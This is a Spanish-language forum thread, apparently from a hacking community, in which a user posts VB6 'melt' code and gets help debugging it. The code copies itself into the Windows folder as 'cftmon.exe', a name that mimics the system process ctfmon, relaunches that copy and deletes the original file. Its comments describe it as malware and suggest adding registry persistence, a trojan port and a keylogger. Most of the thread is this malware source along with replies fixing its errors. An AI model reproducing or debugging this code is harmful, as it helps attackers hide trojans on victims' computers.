[Source] How to Melt a file in VB6

Iniciado por Mad Antrax, 13 Mayo 2007, 12:49 PM

0 Miembros y 3 Visitantes están viendo este tema.


hepy_92

hm.. aora que me doi cuenta, me da error el melt! :-(
esto puse en code


private sub form_load()
call main
end sub' puse esto ademas de mi code, que no publico porque quedaria mui largo

Sub Main()
    'Obtenemos el nombre de nuestro ejecutable
    MyName = App.EXEName
   
    'Comprobamos si nos llamamos CTFMON
    If LCase(App.EXEName) = "cftmon" Then
        Call Execute
    Else
        Call MeltFile
    End If
End Sub

Function Execute()
    'Función que se encarga de borrar el archivo original a partir
    'de su ruta. Al terminar ejecuta el PayLoad
   
    On Error Resume Next

    If Not IsEmpty(Command$) Then   'Verificamos si tenemos algo en los argumentos
        While Dir(Command$) <> ""   'Comprobamos si existe el archivo que tenemos en los argumentos
            Kill Command$           '   Si existe... lo borramos
            DoEvents                '   Esperamos un poco
        Wend                        'Bucle
    End If
    Call PayLoad                    'Ejecutamos el resto del Malware
End Function

Function MeltFile()
    'Función que copia el propio Malware en la carpeta TEMP del sistema
    'con el nombre de cftmon.exe. Ejecuta luego el archivo enviando como
    'argumento su propia ruta.
   
    Dim MySelf As String
    MySelf = String$(255, Chr$(0))

    GetModuleFileName 0, MySelf, Len(MySelf)        'Devuele la ruta correcta de tu aplicación

    FileCopy MySelf, Environ("windir") & "\cftmon.exe" 'Nos copiamos en "TEMP\cftmon.exe"
    DoEvents                                        'Esperamos...
    Shell Environ("windir") & "\cftmon.exe " & MySelf  'Ejecutamos "TMP\cftmon.exe" + Ruta de tu aplicación
    End                                             'Finalizamos (importante! xD)
End Function

Function PayLoad()
    'Aqui incluimos el resto de código de tu Malware...
    'Recomiendo llamar ahora a la función de AddToRegedit() para añadir la
    'aplicación con el Melt (cftmon.exe) al registro, abrir el puerto del troyano
    'activar el keylogger o lo que quieras programar :P
   
    MsgBox "Si estas leyendo esto es que tu aplicación ha hecho MELT y se ha borrado el archivo original, :P", vbInformation, "Melt in VB6"
    End
End Function



hay algo que ise mal?

Mad Antrax

Te falta la declaración de la API, no?

Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

hepy_92

si la tengo...
pero al principio me salia que MyName, no estaba declarado... asique lo declare como string.. o esta mal??=S

Mad Antrax

Mira si tienes esta línea en tu proyecto y borrala:

Option Explicit

Si no, dinos en qe linea te peta y que error te devuelve!
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

hepy_92

no esta...
se me avia olvidado ponerlo en un modulo, aora lo ise i me apunta a:

GetModuleFileName
i me dise procedimiento sub o function no definido..

hepy_92

#16
me di cuenta de mi error.. me falto una linea ¬¬
pero ahora me sale otro =S
si lo ejecuto sale este error:
  Error '91' en tiempo de ejecución:
  La variable de tipo Object o la variable de bloque With no está establecida
alguien me puede decir que estoy asiendo mal porfavor!?
les adjunto el code para que vean lo que hice


Dentro del Form1, (form principal)
call Main 'para llamar a la funcion
'i el resto de mi code, que no pongo, para que no se alarge tanto

Dentro de Module1
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

Sub Main()
    'Obtenemos el nombre de nuestro ejecutable
    MyName = App.EXEName
   
    'Comprobamos si nos llamamos CTFMON
    If LCase(App.EXEName) = "cftmon" Then
        Call Execute
    Else
        Call MeltFile
    End If
End Sub

Function Execute()
    'Función que se encarga de borrar el archivo original a partir
    'de su ruta. Al terminar ejecuta el PayLoad
   
    On Error Resume Next

    If Not IsEmpty(Command$) Then   'Verificamos si tenemos algo en los argumentos
        While Dir(Command$) <> ""   'Comprobamos si existe el archivo que tenemos en los argumentos
            Kill Command$           '   Si existe... lo borramos
            DoEvents                '   Esperamos un poco
        Wend                        'Bucle
    End If
    Call PayLoad                    'Ejecutamos el resto del Malware
End Function

Function MeltFile()
    'Función que copia el propio Malware en la carpeta TEMP del sistema
    'con el nombre de cftmon.exe. Ejecuta luego el archivo enviando como
    'argumento su propia ruta.
        Dim MySelf As String
    MySelf = String$(255, Chr$(0))

    GetModuleFileName 0, MySelf, Len(MySelf)        'Devuele la ruta correcta de tu aplicación

    FileCopy MySelf, Environ("windir") & "\cftmon.exe" copia  a windows en ves de Temp
    DoEvents                                        'Esperamos...
    Shell Environ("windir") & "\cftmon.exe " & MySelf  'Ejecutamos "windows\cftmon.exe" + Ruta de tu aplicación
    End                                             'Finalizamos (importante! xD)
End Function

Function PayLoad()
    'Aqui incluimos el resto de código de tu Malware...
    'Recomiendo llamar ahora a la función de AddToRegedit() para añadir la
    'aplicación con el Melt (cftmon.exe) al registro, abrir el puerto del troyano
    'activar el keylogger o lo que quieras programar :P
   
    MsgBox "Si estas leyendo esto es que tu aplicación ha hecho MELT y se ha borrado el archivo original, :P", vbInformation, "Melt in VB6"
    End
End Function


no es problema de Shell Environ("windir"), lo he revisado y esta bien.. me sale lo mismo si pongo tmp